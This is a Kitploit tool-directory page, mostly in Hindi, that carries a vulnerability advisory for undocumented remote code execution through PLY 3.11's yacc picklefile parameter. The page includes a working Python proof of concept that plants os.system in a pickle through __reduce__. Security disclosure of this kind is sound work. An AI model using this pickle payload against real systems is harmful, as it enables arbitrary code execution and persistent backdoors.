Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Undocumented-RCE-in-PLY — `picklefile` पैरामीटर के माध्यम से PLY में अप्रलेखित RCE | Kitploit
उपकरण/GitHubGitHub/bohmiiidd/undocumented-rce-in-ply
पेलोड जनरेशनभेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षा
GitHubbohmiiidd/undocumented-rce-in-ply

Undocumented-RCE-in-PLY

`picklefile` पैरामीटर के माध्यम से PLY में अप्रलेखित RCE

रिपॉजिटरी देखें
161 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PLY CVE‑2025‑56005 में अप्रलेखित रिमोट कोड एक्ज़ीक्यूशन

root@kitploit:~
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

सारांश

PyPI‑वितरित संस्करण PLY 3.11 में एक अप्रलेखित और असुरक्षित सुविधा मनमाना कोड निष्पादन की अनुमति देती है जब yacc() फ़ंक्शन को picklefile पैरामीटर के साथ आमंत्रित किया जाता है।

picklefile पैरामीटर PLY को Python के pickle.load() का उपयोग करके सत्यापन के बिना एक .pkl फ़ाइल को डीसेरियलाइज़ करने का कारण बनता है। चूंकि Python का pickle मॉड्यूल डीसेरियलाइज़ेशन के दौरान मनमाना कोड के निष्पादन का समर्थन करता है (उदाहरण के लिए, के माध्यम से), एक हमलावर जो आपूर्त की गई पिकल फ़ाइल को नियंत्रित कर सकता है, पार्सर आरंभीकरण के दौरान मनमाना कोड निष्पादित कर सकता है।

__reduce__()

यह पैरामीटर आधिकारिक PLY दस्तावेज़ीकरण या GitHub रिपॉजिटरी में प्रलेखित नहीं है, फिर भी यह PyPI रिलीज़ में सक्रिय है।


प्रभाव

हमलावर yacc(picklefile=...) को पास की गई .pkl फ़ाइल को नियंत्रित, प्रतिस्थापित या प्रभावित कर सकता है, तो वे प्राप्त कर सकते हैं:

  • मनमाना कोड निष्पादन
  • एप्लिकेशन स्टार्टअप के दौरान निष्पादन
  • किसी भी पार्सिंग लॉजिक तक पहुंचने से पहले कोड निष्पादन

यह उन एप्लिकेशनों को प्रभावित कर सकता है जो पार्सर तालिकाओं को इनसे लोड करते हैं:

  • कैश्ड स्थान
  • साझा निर्देशिकाएँ
  • CI/CD पाइपलाइन
  • कॉन्फ़िगर करने योग्य या लिखने योग्य पथ

🔍 भेद्यता विवरण

  • भेद्यता प्रकार: मनमाना कोड निष्पादन
  • हमला प्रकार: संदर्भ‑निर्भर
  • हमला वेक्टर: हमलावर‑नियंत्रित पिकल फ़ाइल का असुरक्षित डीसेरियलाइज़ेशन
  • प्रभाव: कोड निष्पादन
  • CWE: CWE‑502 (अविश्वसनीय डेटा का डीसेरियलाइज़ेशन)

प्रभावित कार्यक्षमता

  • ply.yacc.yacc(picklefile=...)
  • ply/yacc.py में LRTable.read_pickle()

अतिरिक्त जानकारी (संदर्भ और जोखिम)

यह भेद्यता अपनी गुप्त प्रकृति और स्थायित्व की क्षमता के कारण उच्च जोखिम प्रस्तुत करती है।

picklefile पैरामीटर आधिकारिक PLY दस्तावेज़ीकरण और GitHub रिपॉजिटरी में अप्रलेखित है। हालाँकि, PLY 3.11 का PyPI‑वितरित संस्करण इस कार्यक्षमता को शामिल करता है और आपूर्त की गई फ़ाइल को सत्यापन के बिना pickle.load() का उपयोग करके संसाधित करता है।

चूंकि Python का pickle मॉड्यूल डीसेरियलाइज़ेशन के दौरान एम्बेडेड कोड के निष्पादन की अनुमति देता है, एक दुर्भावनापूर्ण पिकल फ़ाइल पार्सर सेटअप के दौरान, किसी भी पार्सिंग लॉजिक के आमंत्रित होने से पहले मनमाना कोड निष्पादित कर सकती है।

लेखन के समय, अनुरक्षक ने इस व्यवहार को सार्वजनिक रूप से स्वीकार नहीं किया है।

इस कार्यक्षमता का दुरुपयोग स्थायी बैकडोर पेश करने के लिए किया जा सकता है, विशेष रूप से उन वातावरणों में जहाँ पार्सर तालिका फ़ाइलें:

  • डिस्क पर कैश्ड होती हैं
  • उपयोगकर्ताओं या सेवाओं के बीच साझा की जाती हैं
  • CI/CD पाइपलाइनों में उत्पन्न या पुन: उपयोग की जाती हैं
  • कॉन्फ़िगर करने योग्य या लिखने योग्य पथों से लोड की जाती हैं

दस्तावेज़ीकरण की कमी, मौन निष्पादन पथ, और असुरक्षित डीसेरियलाइज़ेशन के उच्च प्रभाव को देखते हुए, जागरूकता बढ़ाने और डाउनस्ट्रीम उपयोगकर्ताओं की सुरक्षा के लिए CVE असाइनमेंट उचित है।


प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह प्रूफ ऑफ कॉन्सेप्ट प्रदर्शित करता है कि जब अप्रलेखित picklefile पैरामीटर के माध्यम से एक दुर्भावनापूर्ण पिकल फ़ाइल आपूर्त की जाती है तो मनमाना कोड निष्पादन होता है।

PoC अवलोकन

PoC:

  • एक न्यूनतम लेक्सर और पार्सर परिभाषित करता है
  • एक दुर्भावनापूर्ण पिकल पेलोड तैयार करता है
  • डीसेरियलाइज़ेशन के दौरान एक सिस्टम कमांड निष्पादित करता है

अपेक्षित परिणाम

जब yacc(picklefile='exploit.pkl') आमंत्रित किया जाता है, तो पार्सर आरंभीकरण के दौरान मनमाना कोड निष्पादित होता है।

root@kitploit:~
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

शमन

  • अविश्वसनीय या बाहरी रूप से लिखने योग्य फ़ाइलों के साथ picklefile पैरामीटर का उपयोग न करें
  • उपयोगकर्ता‑नियंत्रित स्थानों से पार्सर तालिकाओं को लोड करने से बचें
  • सभी पिकल फ़ाइलों को असुरक्षित इनपुट के रूप में मानें
  • डिस्क से लोड करने के बजाय पार्सर तालिकाओं को पुन: उत्पन्न करना पसंद करें

संदर्भ

  • PLY GitHub रिपॉजिटरी: https://github.com/dabeaz/ply
  • PyPI पैकेज: https://pypi.org/project/ply/
  • Python Pickle दस्तावेज़ीकरण: https://docs.python.org/3/library/pickle.html
  • प्रूफ ऑफ कॉन्सेप्ट रिपॉजिटरी: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY
टूल डाउनलोड करें